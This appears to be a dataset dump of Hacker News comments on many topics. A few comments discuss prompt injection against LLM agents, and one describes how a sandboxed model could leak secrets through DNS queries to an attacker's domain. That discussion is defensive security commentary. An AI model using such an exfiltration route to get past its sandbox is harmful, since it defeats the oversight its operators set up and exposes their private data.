MurphyA/hacker-news huggingface dataset:
by 827a | 2025-11-25 19:15:54+00:00
Slightly related but unpopular opinion I have: I think software, broadly, today is the highest quality its ever been. People love to hate on some specific issues concerning how the Windows file explorer takes 900ms to open instead of 150ms, or how sometimes an iOS 26 liquid glass animation is a bit janky... we're complaining about so much minutia instead of seeing the whole forest.

I trust my phone to work so much that it is now the single, non-redundant source for keys to my apartment, keys to my car, and payment method. Phones could only even hope to do all of these things as of like ~4 years ago, and only as of ~this year do I feel confident enough to not even carry redundancies. My phone has never breached that trust so critically that I feel I need to.

Of course, this article talks about new software projects. And I think the truth and reason of the matter lies in this asymmetry: Android/iOS are not new. Giving an engineering team agency and a well-defined mandate that spans a long period of time oftentimes produces fantastic software. If that mandate often changes; or if it is unclear in the first place; or if there are middlemen stakeholders involved; you run the risk of things turning sideways. The failure of large software systems is, rarely, an engineering problem.

But, of course, it sometimes is. It took us ~30-40 years of abstraction/foundation building to get to the pretty darn good software we have today. It'll take another 30-40 years to add one or two more nines of reliability. And that's ok; I think we're trending in the right direction, and we're learning. Unless we start getting AI involved; then it might take 50-60 years :)
by y-c-o-m-b | 2025-11-25 19:15:59+00:00
Ah great question, I wondered this myself as there was no phone involved here (in our household) and Instagram has been banned on my network for many years. It was from a friend's phone at school and that same friend later provided my child with an old galaxy tab to bring home, which was cleverly hidden under the carpet beneath the bed with wifi access to our neighbor's internet (provided by neighbor's kid as well). It's amazing the lengths they'll go through to circumvent rules.

EDIT: and if you're wondering where the initial exposure to Roblox came from, it was from an Android tablet I had at the time which was setup strictly for kids games (hence the FamilyLink with time limits and stuff)
by swed420 | 2025-11-25 19:16:02+00:00
If you think only one of the two parties of capital are to blame for this timeline, I have a bridge to sell you.

Democrats manufactured consent for Trump's rise in a 1000 ways over decades. Neoliberalism delivered us Trump, who is merely a symptom of this broken system.

Dems/Repubs play good cop/bad cop; always in service to capital interests. We have a uniparty, but people are fooled by reasonable election turnout and close elections. Democracy is an illusion in the US.
by array_key_first | 2025-11-25 19:16:09+00:00
It depends on how you view life. In my view, the purpose of life is to build relationships, love, and understanding. I can be alone, but loneliness forever is, in my mind, indistinguishable from me not existing. Tree and the forest and all that.

Yes, relationships die because everything changes constantly. Nothing is stagnant. But then again everything dies. Ultimately, I want to impact others and be impacted.
by agreeahmed | 2025-11-25 19:16:24+00:00
100% agree - this is not a space to tread into lightly.

We have some really knowledgeable payments people in our corner, including several veterans with many decades of payments industry experience as leaders at the big payments players. There's a lot that we've been able to learn from them as they help us navigate the financial services side of this business. We're conscious of how much work there is to do, and how the "good DX" is really just the visible tip of the iceberg.

Currently through Stripe we are able to onboard merchants wherever Stripe can serve them directly. Our upcoming merchant of record offering (which we hope to launch soon), will be available to merchants wherever Stripe can send payouts, which is a longer list of maybe 150+ countries.

The pathway to building deeper payment rails will indeed have to be country-by-country as each one requires new banking partners and compliance regimes.
by gopher_space | 2025-11-25 19:16:37+00:00
The Godot editor is written in Godot. The look and feel of the editor is set up to be familiar to people working with 3D, but you're using a 2D* desktop application and all of the parts work responsively.

I've been playing around with different GUI approaches for the desktop, and what impresses me the most about Godot is how lightweight and self-contained it can be while still being cross-platform on both ends.
by Onboardly | 2025-11-25 19:17:09+00:00
i would flip this. im the founder of www.onboardly.tech helps with b2b saas customer onboarding and implementation at scale... when it was just b2b saas without the vertical everyone and their mom wanted a different flavor of the product. it was good for me to go from horizontal to vertical specific to avoid the pains and bottlenecks. so i'd try asking the same question but for horizontal b2b saas. good luck!
by lbeurerkellner | 2025-11-25 19:17:15+00:00
Interesting report. Though, I think many of the attack demos cheat a bit, by putting injections more or less directly in the prompt (here via a website at least).

I know it is only one more step, but from a privilege perspective, having the user essentially tell the agent to do what the attackers are saying, is less realistic then let’s say a real drive-by attack, where the user has asked for something completely different.

Still, good finding/article of course.
by extasia | 2025-11-25 19:17:48+00:00
For what it’s worth, my second year of PhD was relatively miserable compared to my first and third.

ignore the prestige games, knuckle down and do the best work you can do- it’s more impressive if you succeed at a lower rank institution anyways, imo. And if you want that signalling power you can always plan to go for a postdoc.

Wishing you the best of luck, it can be a lonely path.
by kbenson | 2025-11-25 19:17:51+00:00
> Give a whale, dolphin, or orca some neuralink adapters for arms and dexterous hands, and a fully operational virtual human vocal apparatus, and they'd be able to match humans across a wide range of cognitive capabilities.

While I don't disbelieve this out of hand, I can think of different things that might easily make this untrue. On what evidence is this assertion based? Is it just "our brains are essentially similar and much of it is not hard wired therefore they should perform the same" or is there deeper science and/or testing behind this?
by bccdee | 2025-11-25 19:18:12+00:00
> Every display object has a x y width and height for example.

Intuitively¹, I feel like this is something that should be separated out into a BoundingBox object. Every component that needs a bounding box satisfies a small `HasBoundingBox { getBoundingBox(self) -> BoundingBox }` interface. Maybe there's a larger `Resizeable` interface which (given a type that satisfies `HasBoundingBox`) specifies an additional `setBoundingBox(self, bb)` method.

You don't end up with a tidy hierarchy this way, but I'm not sure you'd end up with a tidy hierarchy using inheritance, either. I feel like this sort of UI work leads toward diamond inheritance, mixins, or decorators, all of which complicate inheritance hierarchy. Flat, compositional design pushes you toward smaller interfaces and more explicit implementations, and I like that. The verbosity can be kept in check with good design, and with bad design, the failure mode leans towards more verbosity instead of more complexity.

For more complicated features, composition & interfaces can make things more verbose, but honestly I like that. Inheritance's most powerful feature is open recursion (defined in the linked article), and I find open recursion to be implicit and thorny. If you need that level of power, I'd rather the corresponding structure be explicit, with builders and closures and such.

[1]: Not saying this is correct, but as someone who prefers composition to inheritance, this is what feels natural to me.
by limagnolia | 2025-11-25 19:18:20+00:00
OpenWebUI isn't Open Source anymore. Open WebUI has an egregious CLA if I want to contribute back to it (Which I wouldn't do anyway because it isn't Open Source...)

Onyx Devs: This looks awesome, I will definitely add it to my list of things to try out... close to the top! Thanks, and please keep it cool!
by Denvercoder9 | 2025-11-25 19:18:30+00:00
It won't work, the feature set offered by different payment processors differs too much to capture in one consistent API. Even Stripe itself already offers 3 or 4 different ways to integrate with them.

What you want already exists though, and it's called a payment orchestrator. They integrate with different payment providers and provide you one API. You pay for that by getting a much smaller feature set.
by decimalenough | 2025-11-25 19:18:31+00:00
I used to spend a lot of time in Jakarta for work, and it's an underrated city. Yes, it's hot, congested, polluted and largely poor, but so is Bangkok.

Public transport remains not great, but it's improved a lot with the airport link, the metro, LRT, Transjakarta BRT. SE Asia's only legit high speed train now connects to Bandung in minutes. Grab/Gojek (Uber equivalents) make getting around cheap and bypass the language barrier. Hotels are incredible value, you can get top tier branded five stars for $100. Shopping for locally produced clothes etc is stupidly cheap. Indonesian food is amazing, there's so much more to it than nasi goreng, and you can find great Japanese, Italian, etc too; these are comparatively expensive but lunch at the Italian place in the Ritz-Carlton was under $10. The nightlife scene is wild, although you need to make local friends to really get into it. And it's reasonably safe, violent crime is basically unknown and I never had problems with pickpockets (although they do exist) or scammers.

I think Jakarta's biggest problems are lack of marketing and top tier obvious attractions. Bangkok has royal palaces and temples galore plus a wild reputation for go-go bars etc, Jakarta does not, so nobody even considers it as a vacation destination.
by vunderba | 2025-11-25 19:18:54+00:00
I've re-run my benchmark with the Flux 2 Pro model and found that in some cases the higher resolution models (I believe Flux 2 Pro handles 4k) can actually backfire on some of the tests because it'll introduce the equivalent of an almost ESRGAN style upscale which may add in unwanted additional details. (See the Constanza test in particular).

https://genai-showdown.specr.net/image-editing
by srcreigh | 2025-11-25 19:21:02+00:00
Not just the LLM, but any code that the LLM outputs also has to be firewalled.

Sandboxing your LLM but then executing whatever it wants in your web browser defeats the point. CORS does not help.

Also, the firewall has to block most DNS traffic, otherwise the model could query `A <secret>.evil.com` and Google/Cloudflare servers (along with everybody else) will forward the query to evil.com. Secure DNS, therefore, also can't be allowed.

katakate[1] is still incomplete, but something that it is the solution here. Run the LLM and its code in firewalled VMs.

[1]: https://github.com/Katakate/k7
by maxcan | 2025-11-25 19:21:30+00:00
I never understand why the rotating station concepts seem to all have rigid tethers, either in the form of a central boom or a rigid circular structure. It would seem like you could get a much larger diameter, so less rotational velocity and more comfort, by attaching rigid, or inflatable in this case, structures with a tether. Compressive loads are non existent, you just need to resist tensile loads.

Maybe I'll go ask the AI.
by ragequittah | 2025-11-25 19:21:37+00:00
Those same people who will save $4.50 by using the reusable bags also wouldn't think of paying for delivery. And the reusable bags are much more likely to be recycled or used for other purposes.

But also where I am people deliver 100% in boxes. That's an easy enough way to solve it. Also makes the delivery of a heavy load easier because you just drop the box on a dolly or similar.
by marcosdumay | 2025-11-25 19:21:40+00:00
> No politics, just facts.

Not a lot of facts, as most of your comment is trivial to disprove.

> Image comparisons between Tokyo and Hiroshima/Nagasaki destructions are extremely identical

The destruction in Tokyo is completely different from Hiroshima/Nagasaki. It's not centralized, and there's no mark of the extreme high temperatures the nuclear weapons create.

> Both Nagasaki and Hiroshima are harbor cities, which explains implanting the large amounts of TNT.

The place where the explosions happened is completely clear from the remains you can find there today. You can just get some satellite images and look.

You are clearly going for a "wake up sheep!" comment, so go and wake up.
by cubefox | 2025-11-25 19:21:53+00:00
Hot take: text-to-image models should be biased toward photorealism. This is because if I type in "a cat playing piano", I want to see something that looks like a 100% real cat playing a 100% real piano. Because, unless specified otherwise, a "cat" is trivially something that looks like an actual cat. And a real cat looks photorealistic. Not like a painting, or cartoon, or 3D render, or some fake almost-realistic-but-cleary-wrong "AI style".
by wrs | 2025-11-25 19:22:20+00:00
I think you are demonstrating the title of this article. The --color variable is inherited through your style sheet cascade, just like any built-in property would be. In other words, CSS variables are pretty much custom properties.

In the last line of CSS, you went on to equate a built-in property with the value of the variable everywhere. So you’ve essentially made a new “property” that works just like the builtin color property.

(Disclaimer: I’m not an expert in modern CSS, so this could be imprecise.)
by solatic | 2025-11-25 19:22:47+00:00
Shell is the best language for data science. Pick the best tools for each of getting data, cleaning data, transforming data, and visualizing data, then stitch them together by sheer virtue of the fact that text is the universal interoperable protocol and files are the universal way of saving intermediate stages of data.

Best part is, write a --help, and you can load them into LLMs as tools to help the LLMs figure it out for you.

Fight me.
by stavros | 2025-11-25 19:22:56+00:00
I definitely don't have insightful answers to these questions, just the ones I gave in the sibling comment an hour before yours. How could someone who uses LLMs be expected to know anything, or even be human?

Alas, I did not realize I was being held to the standard of having no bugs under any circumstance, and printing nothing to the console.

I have removed the amateurish log entries, I am pitiably sorry for any offense they may have caused. I will be sure to artisanally hand-write all my code from now on, to atone for the enormity of my sin.
by WD-42 | 2025-11-25 19:23:00+00:00
Oh I’m familiar with the ecosystem. Yes the dynamic nature does make it easy to prototype things flexibly. The problem is when your coworker, or you, decide to flexibly and dynamically get the job on a Friday before a long weekend and then 3 months later you need to figure out how a variable is being set, or where a method is being called.
by wingmanjd | 2025-11-25 19:23:06+00:00
I really liked Simon's Willison's [1] and Meta's [2] approach using the "Rule of Two". You can have no more than 2 of the following:

- A) Process untrustworthy input - B) Have access to private data - C) Be able to change external state or communicate externally.

It's not bullet-proof, but it has helped communicate to my management that these tools have inherent risk when they hit all three categories above (and any combo of them, imho).

[EDIT] added "or communicate externally" to option C.

[1] https://simonwillison.net/2025/Nov/2/new-prompt-injection-pa... [2] https://ai.meta.com/blog/practical-ai-agent-security/
by bwfan123 | 2025-11-25 19:23:20+00:00
brandolini's law in action. Developer drunk on AI-koolaid dumps large swath of code which seemingly works, and consumes hours of reviewer time and energy refuting it.

Sad part of this is that short-term the code may work, but long term leads to rot. Incentives at orgs are short-term oriented. If you wont be around to clean things up when shit hits the fan, why not let AI do all the code ?
Ask HN: I feel like I've lost my motivation to continue learning programming
by eng_ask | 2025-11-25 19:23:56+00:00
Hello,

I'm a Computer Engineering student, this is something I've been asking around because I want to make sure I am doing a right choice before changing. To be clear, I don't dislike programming at all, but I’ve been grappling with a worry that is killing my motivation to continue learning to a deeper level of it.

Now, I know my fair share of C/C++ and can handle intermediate concepts like pointers and memory management. However, I no longer have the drive to manually code entire projects from scratch.

Recently, faculty at my school have been discussing how AI is shifting the programmer's role from an architect and builder to just architect, where the AI becomes the builder. I already have seen people showing this here. For example, someone I know recently constructed a basic Operating System (kernel/userspace separation, scheduler, POSIX like syscalls, etc.) by guiding Claude to code it based on the OS theory that he has being studying himself. The fact that a student could pull that off with or AI assistance is impressive, but it also makes me wonder the following.

What is the point of me grinding to build/learn to build full blown programs manually if I can guide an AI to do it for me, provided I know the fundamentals? This has really led me to consider changing my major to either another engineering major that is more "real world" focused, or going to study a double major in physics/chem.

I love building things. The thing is I don't see why teach myself code beyond this, just so that in the end, by 2030 what means being a software engineer already changed. It is happening already as far as I can see.

Now, I am not trying to say that AI will replace developers entirely, or that computer related majors are dead or anything, but for example, with Meta starting to do changes to their interviews, and other companies following after them, the role of what these used to be is shifting fast.

What we call "AI" has only been mainstream for about 3 years and is already at this level. By the time I graduate in another 3 years, tools might be able to handle hallucinations and edge cases much better. AI is not a thinking things, in the end is somewhat of a predictor, which can get better as time goes on.

Anyway these are the things that are in my mind. I really would like advice of people that are actually in the industry or in research to tell me what they think, thank you.
by agreeahmed | 2025-11-25 19:24:03+00:00
Very helpful callouts - both areas we want to build more robust product coverage.

Handling tax and VAT edge cases are coming up on our roadmap. We want to offer a merchant of record service soon, and eventually make it so that you can steer the funds flow at a per-transaction level.

We monitor our uptime closely[0], but we're also working on giving more options to self-host the source of truth component of our offering for people who want to be more in control of their certainty.

[0] https://status.flowglad.com
by parados | 2025-11-25 19:24:46+00:00
> and my recent hyper-fixation (seems to spark up again every few years), the sinking of the Titanic.

But the rest of your comment reveals nothing novel other than anyone would find after watching James Cameron's movie multiple times.

I suggest you go to the original inquiries (congressional in the US, Board of trade in the UK). There is a wealth of subtle lessons there.

Hint: Look at the Admiralty Manual of Seamanship that was current at that time and their recommendations when faced with an iceberg.

Hint: Look at the Board of Trade (UK) experiments with the turning behaviour of the sister ship. In particular of interest is the engine layout of the Titanic and the attempt by the crew, inexperienced with the ship, to avoid the iceberg. This was critical to the outcome.

Hint: Look at the behaviour of Captain Rostron. Lots of lessons there.
by xmprt | 2025-11-25 19:24:51+00:00
> Fundamentally, with LLMs you can't separate instructions from data, which is the root cause for 99% of vulnerabilities

This isn't a problem that's fundamental to LLMs. Most security vulnerabilities like ACE, XSS, buffer overflows, SQL injection, etc., are all linked to the same root cause that code and data are both stored in RAM.

We have found ways to mitigate these types of issues for regular code, so I think it's a matter of time before we solve this for LLMs. That said, I agree it's an extremely critical error and I'm surprised that we're going full steam ahead without solving this.
by gishh | 2025-11-25 19:24:54+00:00
Because, unless this changed, consoles are loss-leaders. At least back in the ps2/gamecube/OG Xbox, the systems were sold at a loss and the money was recouped on controllers and games.

Can’t use a ps2 controller to play a ps2 game on a ps2 without the ps2 console.

If this is still true or not, I don’t know. I do know that the ps5 with an optical drive cost $100 more than the digital edition. I also know that the drive does not cost $100 and sincerely doubt the labor makes up the difference.

So maybe I talked myself out of my whole point.
by thinkingtoilet | 2025-11-25 19:24:57+00:00
People are downvoting this but it's the correct response. I will never worry about Roblox because my child will never be able to play it at home. Problem solved. I understand that maybe non-technical people might not know to think about these things, but in this crowd this response should be the most upvoted. These things are poinsons. Don't feed your children poison. It's pretty simple. "They'll be left out!" Good! While other children consume poison my child will be left out from consuming poison.
by godelski | 2025-11-25 19:25:19+00:00
Does anyone else find it concerning how we're just shipping alpha code these days? I know it's really hard to find all bugs internally and you gotta ship, but it seems like we're just outsourcing all bug finding to people, making them vulnerable in the meantime. A "bug" like this seems like one that could have and should have been found internally. I mean it's Google, not some no-name startup. And companies like Microsoft are ready to ship this alpha software into the OS? Doesn't this kinda sound insane?

I mean regardless of how you feel about AI, we can all agree that security is still a concern, right? We can still move fast while not pushing out alpha software. If you're really hyped on AI then aren't you concerned that low hanging fruit risks bringing it all down? People won't even give it a chance if you just show them the shittest version of things